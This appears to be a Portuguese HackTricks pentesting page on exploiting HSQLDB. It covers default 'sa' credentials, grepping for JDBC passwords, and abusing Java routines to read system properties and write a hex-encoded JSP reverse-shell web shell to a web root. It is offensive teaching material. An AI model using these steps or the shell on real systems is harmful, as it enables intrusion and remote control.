tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
HSQLDB (HyperSQL DataBase) é o principal sistema de banco de dados relacional SQL escrito em Java. Ele oferece um mecanismo de banco de dados pequeno, rápido, multithreaded e transacional com tabelas em memória e baseadas em disco, e suporta modos embutido e servidor.
Porta padrão: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
Informação
Configurações Padrão
Observe que, por padrão, este serviço provavelmente está sendo executado na memória ou está vinculado ao localhost. Se você o encontrou, provavelmente explorou outro serviço e está procurando escalar privilégios.
As credenciais padrão geralmente são sa
com uma senha em branco.
Se você explorou outro serviço, procure possíveis credenciais usando
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
Note o nome do banco de dados com atenção - você precisará dele para se conectar.
Coleta de Informações
Conecte-se à instância do DB baixando HSQLDB e extraindo hsqldb/lib/hsqldb.jar
. Execute o aplicativo GUI (eww) usando java -jar hsqldb.jar
e conecte-se à instância usando as credenciais descobertas/fracas.
Note que a URL de conexão terá uma aparência semelhante a esta para um sistema remoto: jdbc:hsqldb:hsql://ip/DBNAME
.
Truques
Rotinas da Linguagem Java
Podemos chamar métodos estáticos de uma classe Java a partir do HSQLDB usando Rotinas da Linguagem Java. Observe que a classe chamada precisa estar no classpath da aplicação.
JRTs podem ser funções
ou procedimentos
. Funções podem ser chamadas via instruções SQL se o método Java retornar uma ou mais variáveis primárias compatíveis com SQL. Elas são invocadas usando a instrução VALUES
.
Se o método Java que queremos chamar retornar void, precisamos usar um procedimento invocado com a instrução CALL
.
Lendo Propriedades do Sistema Java
Crie a função:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
Executar função:
VALUES(getsystemproperty('user.name'))
Você pode encontrar uma lista de propriedades do sistema aqui.
Escrever Conteúdo em Arquivo
Você pode usar o com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename
gadget Java localizado no JDK (carregado automaticamente no class path da aplicação) para escrever itens codificados em hex no disco através de um procedimento personalizado. Observe o tamanho máximo de 1024 bytes.
Criar procedimento:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
Executar procedimento:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.